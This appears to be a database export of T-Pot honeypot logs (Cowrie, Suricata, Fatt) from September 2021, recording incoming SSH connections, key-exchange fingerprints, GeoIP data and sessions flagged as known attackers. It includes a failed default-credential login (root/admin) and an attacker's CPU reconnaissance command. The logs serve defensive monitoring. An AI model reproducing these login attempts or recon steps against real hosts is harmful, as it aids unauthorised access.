"sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "034ffeca719e", "@version": "1", "timestamp": "2021-09-20T11:50:43.381955Z", "@timestamp": "2021-09-20T11:50:43.381Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32322	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:50:43.381318+03	2021-09-20 15:00:03.332718+03	{"_id": "sQYLA3wBvYTbRNuES0m8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:50:42.820196+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 467846317638628, "payload": "AAADzAYUDbIVfwX8//o98Jg0TR22YwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48876, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:50:43.381318Z", "@timestamp": "2021-09-20T11:50:43.381Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......\\r.......=..4M..c...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32323	91.200.124.7	109.199.241.180	Fatt	2021-09-20 14:50:46.186951+03	2021-09-20 15:00:03.333716+03	{"_id": "twYLA3wBvYTbRNuEVEmT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 53678, "dest_port": 22, "timestamp": "2021-09-20T11:50:46.186951", "@timestamp": "2021-09-20T11:50:46.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32324	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:50:46.149458+03	2021-09-20 15:00:03.335717+03	{"_id": "vgYLA3wBvYTbRNuEVUn3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "1db3bb7c81fe", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:50:46.149458Z", "@timestamp": "2021-09-20T11:50:46.149Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32325	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:50:39.745146+03	2021-09-20 15:00:03.336717+03	{"_id": "lAYLA3wBvYTbRNuEOkmZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.23.139.118:53446 (192.168.176.2:22) [session: e15c2e593db8]", "session": "e15c2e593db8", "@version": "1", "protocol": "ssh", "src_port": 53446, "dest_port": 22, "timestamp": "2021-09-20T11:50:39.745146Z", "@timestamp": "2021-09-20T11:50:39.745Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
32326	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:50:39.878998+03	2021-09-20 15:00:03.338716+03	{"_id": "lwYLA3wBvYTbRNuEOkmZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "e15c2e593db8", "@version": "1", "timestamp": "2021-09-20T11:50:39.878998Z", "@timestamp": "2021-09-20T11:50:39.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
32327	8.23.139.118	109.199.241.180	Suricata	2021-09-20 14:50:39.878297+03	2021-09-20 15:00:03.339717+03	{"_id": "mAYLA3wBvYTbRNuEPEkY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.58.38.9935343109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.23.139.118", "dest_ip": "192.168.20.116", "flow_id": 1191007140933440, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53446, "dest_port": 22, "timestamp": "2021-09-20T11:50:39.878297Z", "@timestamp": "2021-09-20T11:50:39.878Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
32328	8.23.139.118	109.199.241.180	Fatt	2021-09-20 14:50:39.878297+03	2021-09-20 15:00:03.340716+03	{"_id": "mwYLA3wBvYTbRNuEPUkf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "8.23.139.118", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.58.38.9935343109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 53446, "dest_port": 22, "timestamp": "2021-09-20T11:50:39.878297", "@timestamp": "2021-09-20T11:50:39.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32329	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:50:40.390593+03	2021-09-20 15:00:03.341716+03	{"_id": "nAYLA3wBvYTbRNuEPkmB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "eventid": "cowrie.login.failed", "message": "login attempt [root/admin] failed", "session": "e15c2e593db8", "@version": "1", "password": "admin", "username": "root", "timestamp": "2021-09-20T11:50:40.390593Z", "@timestamp": "2021-09-20T11:50:40.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
32330	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:40.083437+03	2021-09-20 15:00:03.343717+03	{"_id": "nQYLA3wBvYTbRNuEPkmB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "107.173.209.238", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.69026780128479, "duplicate": true, "timestamp": "2021-09-20T11:50:40.083437Z", "@timestamp": "2021-09-20T11:50:40.083Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32403	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:23.815209+03	2021-09-20 15:00:03.439717+03	{"_id": "PAYLA3wBvYTbRNuE5kqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:23.815209Z", "@timestamp": "2021-09-20T11:51:23.815Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32331	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:41.111485+03	2021-09-20 15:00:03.344718+03	{"_id": "ogYLA3wBvYTbRNuEQklq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.closed", "message": "Connection lost after 37 seconds", "session": "78144d271630", "@version": "1", "duration": 37.79267930984497, "timestamp": "2021-09-20T11:50:41.111485Z", "@timestamp": "2021-09-20T11:50:41.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32332	119.29.153.168	109.199.241.180	Fatt	2021-09-20 14:50:43.381318+03	2021-09-20 15:00:03.345716+03	{"_id": "pgYLA3wBvYTbRNuESEnZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48876, "dest_port": 22, "timestamp": "2021-09-20T11:50:43.381318", "@timestamp": "2021-09-20T11:50:43.381Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32333	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:50:43.099169+03	2021-09-20 15:00:03.347718+03	{"_id": "rAYLA3wBvYTbRNuESkk8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:48876 (192.168.176.2:22) [session: 034ffeca719e]", "session": "034ffeca719e", "@version": "1", "protocol": "ssh", "src_port": 48876, "dest_port": 22, "timestamp": "2021-09-20T11:50:43.099169Z", "@timestamp": "2021-09-20T11:50:43.099Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
